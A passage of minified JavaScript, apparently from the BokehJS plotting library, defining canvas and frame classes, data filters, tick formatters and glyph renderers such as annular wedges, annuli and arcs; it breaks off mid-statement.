this},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.Canvas=_).initClass()},function(t,e,i){var n=t(391),a=t(190),l=t(192),h=t(193),u=t(184),c=t(180),_=t(181),r=t(11),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CartesianFrame\\\",this.internal({extra_x_ranges:[o.Any,{}],extra_y_ranges:[o.Any,{}],x_range:[o.Instance],y_range:[o.Instance],x_scale:[o.Instance],y_scale:[o.Instance]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._configure_scales()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._configure_scales()})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t.prototype.get_editables=function(){return e.prototype.get_editables.call(this).concat([this._width,this._height])},t.prototype.map_to_screen=function(t,e,i,n){void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\");var r=this.xscales[i].v_compute(t),o=this.yscales[n].v_compute(e);return[r,o]},t.prototype._get_ranges=function(t,e){var i={};if(i.default=t,null!=e)for(var n in e)i[n]=e[n];return i},t.prototype._get_scales=function(t,e,i){var n={};for(var r in e){var o=e[r];if(o instanceof c.DataRange1d||o instanceof u.Range1d){if(!(t instanceof h.LogScale||t instanceof l.LinearScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);if(t instanceof a.CategoricalScale)throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type)}if(o instanceof _.FactorRange&&!(t instanceof a.CategoricalScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);t instanceof h.LogScale&&o instanceof c.DataRange1d&&(o.scale_hint=\\\"log\\\");var s=t.clone();s.setv({source_range:o,target_range:i}),n[r]=s}return n},t.prototype._configure_frame_ranges=function(){this._h_target=new u.Range1d({start:this._left.value,end:this._right.value}),this._v_target=new u.Range1d({start:this._bottom.value,end:this._top.value})},t.prototype._configure_scales=function(){this._configure_frame_ranges(),this._x_ranges=this._get_ranges(this.x_range,this.extra_x_ranges),this._y_ranges=this._get_ranges(this.y_range,this.extra_y_ranges),this._xscales=this._get_scales(this.x_scale,this._x_ranges,this._h_target),this._yscales=this._get_scales(this.y_scale,this._y_ranges,this._v_target)},t.prototype.update_scales=function(){for(var t in this._configure_frame_ranges(),this._xscales){var e=this._xscales[t];e.target_range=this._h_target}for(var i in this._yscales){var e=this._yscales[i];e.target_range=this._v_target}},Object.defineProperty(t.prototype,\\\"x_ranges\\\",{get:function(){return this._x_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_ranges\\\",{get:function(){return this._y_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xscales\\\",{get:function(){return this._xscales},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yscales\\\",{get:function(){return this._yscales},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.CartesianFrame=s).initClass()},function(t,e,i){var n=t(91);i.Canvas=n.Canvas;var r=t(92);i.CartesianFrame=r.CartesianFrame},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CumSum\\\",this.define({field:[o.String],include_zero:[o.Boolean,!1]})},t.prototype._v_compute=function(t){var e=new Float64Array(t.get_length()||0),i=t.data[this.field],n=this.include_zero?1:0;e[0]=this.include_zero?0:i[0];for(var r=1;r<e.length;r++)e[r]=e[r-1]+i[r-n];return e},t}(r.Expression);(i.CumSum=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(i){function t(t){var e=i.call(this,t)||this;return e._connected={},e._result={},e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Expression\\\"},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._connected={},this._result={}},t.prototype.v_compute=function(t){var e=this;null==this._connected[t.id]&&(this.connect(t.change,function(){return delete e._result[t.id]}),this.connect(t.patching,function(){return delete e._result[t.id]}),this.connect(t.streaming,function(){return delete e._result[t.id]}),this._connected[t.id]=!0);var i=this._result[t.id];return null==i&&(this._result[t.id]=i=this._v_compute(t)),i},t}(r.Model);(i.Expression=o).initClass()},function(t,e,i){var n=t(95);i.Expression=n.Expression;var r=t(97);i.Stack=r.Stack;var o=t(94);i.CumSum=o.CumSum},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Stack\\\",this.define({fields:[o.Array,[]]})},t.prototype._v_compute=function(t){for(var e=new Float64Array(t.get_length()||0),i=0,n=this.fields;i<n.length;i++)for(var r=n[i],o=0;o<t.data[r].length;o++){var s=t.data[r][o];e[o]+=s}return e},t}(r.Expression);(i.Stack=s).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=t(44),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BooleanFilter\\\",this.define({booleans:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.booleans;return null!=e&&0<e.length?a.all(e,l.isBoolean)?(e.length!==t.get_length()&&s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": length of booleans doesn't match data source\\\"),a.range(0,e.length).filter(function(t){return!0===e[t]})):(s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans should be array of booleans, defaulting to no filtering\\\"),null):(null!=e&&0==e.length?s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans is empty, defaulting to no filtering\\\"):s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.BooleanFilter=h).initClass()},function(i,t,e){var n=i(391),r=i(100),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSFilter\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"source\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.compute_indices=function(t){return this.filter=this.func.apply(this,this.values.concat([t,i,{}])),e.prototype.compute_indices.call(this,t)},t}(r.Filter);(e.CustomJSFilter=l).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(21),l=t(14),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Filter\\\",this.define({filter:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.filter;return null!=e&&0<=e.length?s.isArrayOf(e,s.isBoolean)?a.range(0,e.length).filter(function(t){return!0===e[t]}):s.isArrayOf(e,s.isInteger)?e:(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter should either be array of only booleans or only integers, defaulting to no filtering\\\"),null):(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter was not set to be an array, defaulting to no filtering\\\"),null)},t}(r.Model);(i.Filter=h).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=function(i){function t(t){var e=i.call(this,t)||this;return e.indices=null,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GroupFilter\\\",this.define({column_name:[o.String],group:[o.String]})},t.prototype.compute_indices=function(t){var e=this,i=t.get_column(this.column_name);return null==i?(s.logger.warn(\\\"group filter: groupby column not found in data source\\\"),null):(this.indices=a.range(0,t.get_length()||0).filter(function(t){return i[t]===e.group}),0===this.indices.length&&s.logger.warn(\\\"group filter: group '\\\"+this.group+\\\"' did not match any values in column '\\\"+this.column_name+\\\"'\\\"),this.indices)},t}(r.Filter);(i.GroupFilter=l).initClass()},function(t,e,i){var n=t(98);i.BooleanFilter=n.BooleanFilter;var r=t(99);i.CustomJSFilter=r.CustomJSFilter;var o=t(100);i.Filter=o.Filter;var s=t(101);i.GroupFilter=s.GroupFilter;var a=t(103);i.IndexFilter=a.IndexFilter},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(44),l=t(21),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IndexFilter\\\",this.define({indices:[o.Array,null]})},t.prototype.compute_indices=function(t){return null!=this.indices&&0<=this.indices.length?l.all(this.indices,a.isInteger)?this.indices:(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices should be array of integers, defaulting to no filtering\\\"),null):(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.IndexFilter=h).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(15),f=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e.last_precision=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BasicTickFormatter\\\",this.define({precision:[o.Any,\\\"auto\\\"],use_scientific:[o.Bool,!0],power_limit_high:[o.Number,5],power_limit_low:[o.Number,-3]})},Object.defineProperty(t.prototype,\\\"scientific_limit_low\\\",{get:function(){return Math.pow(10,this.power_limit_low)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"scientific_limit_high\\\",{get:function(){return Math.pow(10,this.power_limit_high)},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){if(0==t.length)return[];var i=0;2<=t.length&&(i=Math.abs(t[1]-t[0])/1e4);var n=!1;if(this.use_scientific)for(var r=0,o=t;r<o.length;r++){var s=o[r],a=Math.abs(s);if(i<a&&(a>=this.scientific_limit_high||a<=this.scientific_limit_low)){n=!0;break}}var l=new Array(t.length),h=this.precision;if(null==h||f.isNumber(h))if(n)for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toExponential(h||void 0);else for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toFixed(h||void 0).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\");else for(var _=this.last_precision,p=this.last_precision<=15;p?_<=15:15<=_;p?_++:_--){var d=!0;if(n){for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toExponential(_),0<u&&l[u]===l[u-1]){d=!1;break}if(d)break}else{for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toFixed(_).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\"),0<u&&l[u]==l[u-1]){d=!1;break}if(d)break}if(d){this.last_precision=_;break}}return l},t}(r.TickFormatter);(i.BasicTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTickFormatter\\\"},t.prototype.doFormat=function(t,e){return o.copy(t)},t}(r.TickFormatter);(i.CategoricalTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(389),w=t(390),o=t(113),k=t(14),s=t(15),a=t(21),l=t(44);function S(t,e){if(l.isFunction(e))return e(t);var i,n=r.sprintf(\\\"$1%06d\\\",(i=t,Math.round(i/1e3%1*1e6)));return-1==(e=e.replace(/((^|[^%])(%%)*)%f/,n)).indexOf(\\\"%\\\")?e:w(t,e)}var C=[\\\"microseconds\\\",\\\"milliseconds\\\",\\\"seconds\\\",\\\"minsec\\\",\\\"minutes\\\",\\\"hourmin\\\",\\\"hours\\\",\\\"days\\\",\\\"months\\\",\\\"years\\\"],h=function(i){function t(t){var e=i.call(this,t)||this;return e.strip_leading_zeros=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DatetimeTickFormatter\\\",this.define({microseconds:[s.Array,[\\\"%fus\\\"]],milliseconds:[s.Array,[\\\"%3Nms\\\",\\\"%S.%3Ns\\\"]],seconds:[s.Array,[\\\"%Ss\\\"]],minsec:[s.Array,[\\\":%M:%S\\\"]],minutes:[s.Array,[\\\":%M\\\",\\\"%Mm\\\"]],hourmin:[s.Array,[\\\"%H:%M\\\"]],hours:[s.Array,[\\\"%Hh\\\",\\\"%H:%M\\\"]],days:[s.Array,[\\\"%m/%d\\\",\\\"%a%d\\\"]],months:[s.Array,[\\\"%m/%Y\\\",\\\"%b %Y\\\"]],years:[s.Array,[\\\"%Y\\\"]]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._update_width_formats()},t.prototype._update_width_formats=function(){var n=+w(new Date),t=function(t){var e=t.map(function(t){return S(n,t).length}),i=a.sortBy(a.zip(e,t),function(t){var e=t[0];return e});return a.unzip(i)};this._width_formats={microseconds:t(this.microseconds),milliseconds:t(this.milliseconds),seconds:t(this.seconds),minsec:t(this.minsec),minutes:t(this.minutes),hourmin:t(this.hourmin),hours:t(this.hours),days:t(this.days),months:t(this.months),years:t(this.years)}},t.prototype._get_resolution_str=function(t,e){var i=1.1*t;switch(!1){case!(i<.001):return\\\"microseconds\\\";case!(i<1):return\\\"milliseconds\\\";case!(i<60):return 60<=e?\\\"minsec\\\":\\\"seconds\\\";case!(i<3600):return 3600<=e?\\\"hourmin\\\":\\\"minutes\\\";case!(i<86400):return\\\"hours\\\";case!(i<2678400):return\\\"days\\\";case!(i<31536e3):return\\\"months\\\";default:return\\\"years\\\"}},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=Math.abs(t[t.length-1]-t[0])/1e3,n=i/(t.length-1),r=this._get_resolution_str(n,i),o=this._width_formats[r],s=o[1][0],a=[],l=C.indexOf(r),h={},u=0,c=C;u<c.length;u++){var _=c[u];h[_]=0}h.seconds=5,h.minsec=4,h.minutes=4,h.hourmin=3,h.hours=3;for(var p=0,d=t;p<d.length;p++){var f=d[p],v=void 0,m=void 0;try{m=w(f,\\\"%Y %m %d %H %M %S\\\").split(/\\\\s+/).map(function(t){return parseInt(t,10)}),v=S(f,s)}catch(t){k.logger.warn(\\\"unable to format tick for timestamp value \\\"+f),k.logger.warn(\\\" - \\\"+t),a.push(\\\"ERR\\\");continue}for(var g=!1,y=l;0==m[h[C[y]]];){var b=void 0;if((y+=1)==C.length)break;if((\\\"minsec\\\"==r||\\\"hourmin\\\"==r)&&!g){if(\\\"minsec\\\"==r&&0==m[4]&&0!=m[5]||\\\"hourmin\\\"==r&&0==m[3]&&0!=m[4]){b=this._width_formats[C[l-1]][1][0],v=S(f,b);break}g=!0}b=this._width_formats[C[y]][1][0],v=S(f,b)}if(this.strip_leading_zeros){var x=v.replace(/^0+/g,\\\"\\\");x!=v&&isNaN(parseInt(x))&&(x=\\\"0\\\"+x),a.push(x)}else a.push(v)}return a},t}(o.TickFormatter);(i.DatetimeTickFormatter=h).initClass()},function(o,t,e){var i=o(391),n=o(113),r=o(15),s=o(32),a=o(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FuncTickFormatter\\\",this.define({args:[r.Any,{}],code:[r.String,\\\"\\\"],use_strict:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_func=function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0,\\\"tick\\\",\\\"index\\\",\\\"ticks\\\"].concat(this.names,[\\\"require\\\",\\\"exports\\\",t])))},t.prototype.doFormat=function(t,e){var n=this,r=this._make_func().bind({});return t.map(function(t,e,i){return r.apply(void 0,[t,e,i].concat(n.values,[o,{}]))})},t}(n.TickFormatter);(e.FuncTickFormatter=l).initClass()},function(t,e,i){var n=t(104);i.BasicTickFormatter=n.BasicTickFormatter;var r=t(105);i.CategoricalTickFormatter=r.CategoricalTickFormatter;var o=t(106);i.DatetimeTickFormatter=o.DatetimeTickFormatter;var s=t(107);i.FuncTickFormatter=s.FuncTickFormatter;var a=t(109);i.LogTickFormatter=a.LogTickFormatter;var l=t(110);i.MercatorTickFormatter=l.MercatorTickFormatter;var h=t(111);i.NumeralTickFormatter=h.NumeralTickFormatter;var u=t(112);i.PrintfTickFormatter=u.PrintfTickFormatter;var c=t(113);i.TickFormatter=c.TickFormatter},function(t,e,i){var n=t(391),r=t(113),o=t(104),s=t(14),a=t(15),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTickFormatter\\\",this.define({ticker:[a.Instance,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.basic_formatter=new o.BasicTickFormatter,null==this.ticker&&s.logger.warn(\\\"LogTickFormatter not configured with a ticker, using default base of 10 (labels will be incorrect if ticker base is not 10)\\\")},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=null!=this.ticker?this.ticker.base:10,n=!1,r=new Array(t.length),o=0,s=t.length;o<s;o++)if(r[o]=i+\\\"^\\\"+Math.round(Math.log(t[o])/Math.log(i)),0<o&&r[o]==r[o-1]){n=!0;break}return n?this.basic_formatter.doFormat(t,e):r},t}(r.TickFormatter);(i.LogTickFormatter=l).initClass()},function(t,e,i){var n=t(391),r=t(104),o=t(15),h=t(33),s=function(l){function t(t){return l.call(this,t)||this}return n.__extends(t,l),t.initClass=function(){this.prototype.type=\\\"MercatorTickFormatter\\\",this.define({dimension:[o.LatLon]})},t.prototype.doFormat=function(t,e){if(null==this.dimension)throw new Error(\\\"MercatorTickFormatter.dimension not configured\\\");if(0==t.length)return[];var i=t.length,n=new Array(i);if(\\\"lon\\\"==this.dimension)for(var r=0;r<i;r++){var o=h.wgs84_mercator.inverse([t[r],e.loc])[0];n[r]=o}else for(var r=0;r<i;r++){var s=h.wgs84_mercator.inverse([e.loc,t[r]]),a=s[1];n[r]=a}return l.prototype.doFormat.call(this,n,e)},t}(r.BasicTickFormatter);(i.MercatorTickFormatter=s).initClass()},function(t,e,i){var n=t(391),o=t(361),r=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumeralTickFormatter\\\",this.define({format:[s.String,\\\"0,0\\\"],language:[s.String,\\\"en\\\"],rounding:[s.String,\\\"round\\\"]})},Object.defineProperty(t.prototype,\\\"_rounding_fn\\\",{get:function(){switch(this.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){var i=this.format,n=this.language,r=this._rounding_fn;return t.map(function(t){return o.format(t,i,n,r)})},t}(r.TickFormatter);(i.NumeralTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(389),o=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PrintfTickFormatter\\\",this.define({format:[s.String,\\\"%s\\\"]})},t.prototype.doFormat=function(t,e){var i=this;return t.map(function(t){return r.sprintf(i.format,t)})},t}(o.TickFormatter);(i.PrintfTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TickFormatter\\\"},t}(r.Model);(i.TickFormatter=o).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),z=t(9),s=t(15),P=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius,this._angle=new Float32Array(this._start_angle.length);for(var t=0,e=this._start_angle.length;t<e;t++)this._angle[t]=this._end_angle[t]-this._start_angle[t]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._start_angle,s=i._angle,a=i.sinner_radius,l=i.souter_radius,h=this.model.properties.direction.value(),u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+a[_]+l[_]+o[_]+s[_])||(t.translate(n[_],r[_]),t.rotate(o[_]),t.moveTo(l[_],0),t.beginPath(),t.arc(0,0,l[_],0,s[_],h),t.rotate(s[_]),t.lineTo(a[_],0),t.arc(0,0,a[_],0,-s[_],!h),t.closePath(),t.rotate(-s[_]-o[_]),t.translate(-n[_],-r[_]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,_),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,_),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=z.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=f;A<E.length;A++){var M=E[A],y=M[0],S=M[1],O=Math.atan2(l-this.sy[y],a-this.sx[y]);P.angle_between(-O,-this._start_angle[y],-this._end_angle[y],C)&&T.push([y,S])}return z.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=(this.sinner_radius[t]+this.souter_radius[t])/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.AnnularWedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AnnularWedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],inner_radius:[s.DistanceSpec],outer_radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.AnnularWedge=l).initClass()},function(t,e,i){var n=t(391),r=t(146),C=t(9),o=t(15),p=t(28),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sinner_radius,s=i.souter_radius,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){if(this.visuals.fill.doit){if(this.visuals.fill.set_vectorize(t,h),t.beginPath(),p.is_ie)for(var u=0,c=[!1,!0];u<c.length;u++){var _=c[u];t.arc(n[h],r[h],o[h],0,Math.PI,_),t.arc(n[h],r[h],s[h],Math.PI,0,!_)}else t.arc(n[h],r[h],o[h],0,2*Math.PI,!0),t.arc(n[h],r[h],s[h],2*Math.PI,0,!1);t.fill()}this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,h),t.beginPath(),t.arc(n[h],r[h],o[h],0,2*Math.PI),t.moveTo(n[h]+s[h],r[h]),t.arc(n[h],r[h],s[h],0,2*Math.PI),t.stroke())}}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=C.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}return C.create_hit_test_result_from_hits(f)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=.5*Math.min(Math.abs(o-n),Math.abs(s-r)),c=new Array(a);c[i]=.4*u;var _=new Array(a);_[i]=.8*u,this._render(t,[i],{sx:l,sy:h,sinner_radius:c,souter_radius:_})},e}(r.XYGlyphView);i.AnnulusView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annulus\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({inner_radius:[o.DistanceSpec],outer_radius:[o.DistanceSpec]})},t}(r.XYGlyph);(i.Annulus=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle;if(this.visuals.line.doit)for(var l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.ArcView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arc\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Arc=l).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143);function h(t,e,i,n,r,o,s,a){for(var l=[],h=[[],[]],u=0;u<=2;u++){var c=void 0,_=void 0,p=void 0;if(0===u?(_=6*t-12*i+6*r,c=-3*t+9*i-9*r+3*s,p=3*i-3*t):(_=6*e-12*n+6*o,c=-3*e+9*n-9*o+3*a,p=3*n-3*e),Math.abs(c)<1e-12){if(Math.abs(_)<1e-12)continue;var d=-p/_;0<d&&d<1&&l.push(d)}else{var f=_*_-4*p*c,v=Math.sqrt(f);if(!(f<0)){var m=(-_+v)/(2*c);0<m&&m<1&&l.push(m);var g=(-_-v)/(2*c);0<g&&g<1&&l.push(g)}}}for(var y=l.length,b=y;y--;){var d=l[y],x=1-d,w=x*x*x*t+3*x*x*d*i+3*x*d*d*r+d*d*d*s;h[0][y]=w;var k=x*x*x*e+3*x*x*d*n+3*x*d*d*o+d*d*d*a;h[1][y]=k}return h[0][b]=t,h[1][b]=e,h[0][b+1]=s,h[1][b+1]=a,[Math.min.apply(Math,h[0]),Math.max.apply(Math,h[1]),Math.max.apply(Math,h[0]),Math.min.apply(Math,h[1])]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx0[e]+this._cy0[e]+this._cx1[e]+this._cy1[e])){var n=h(this._x0[e],this._y0[e],this._x1[e],this._y1[e],this._cx0[e],this._cy0[e],this._cx1[e],this._cy1[e]),r=n[0],o=n[1],s=n[2],a=n[3];t.push({minX:r,minY:o,maxX:s,maxY:a,i:e})}return new 